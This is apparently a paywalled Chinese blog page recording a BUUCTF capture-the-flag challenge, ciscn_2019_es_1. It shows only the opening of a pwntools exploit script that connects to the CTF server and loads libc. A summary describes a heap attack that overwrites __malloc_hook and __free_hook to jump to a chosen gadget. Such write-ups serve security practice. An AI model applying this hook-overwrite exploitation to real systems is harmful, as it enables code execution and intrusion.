from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./ciscn_2019_es_1"
io = remote("node4.buuoj.cn",27832)
#io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc-2.27_64.so")
def add(size,name,call):
io.recvuntil(b"choice:")
io.sendline(b"1"
BUUCTF刷题记录---ciscn_2019_es_1
最新推荐文章于 2025-12-03 15:53:00 发布
该文章展示了一段使用Python编写pwn工具库来针对Linuxamd64系统进行内存漏洞利用的代码。通过添加、显示和释放缓冲区,寻找并利用__malloc_hook和__free_hook来实现控制流转移,最终执行自选的gadget来达到攻击目的。

最低0.47元/天 解锁文章
1661

被折叠的 条评论
为什么被折叠?



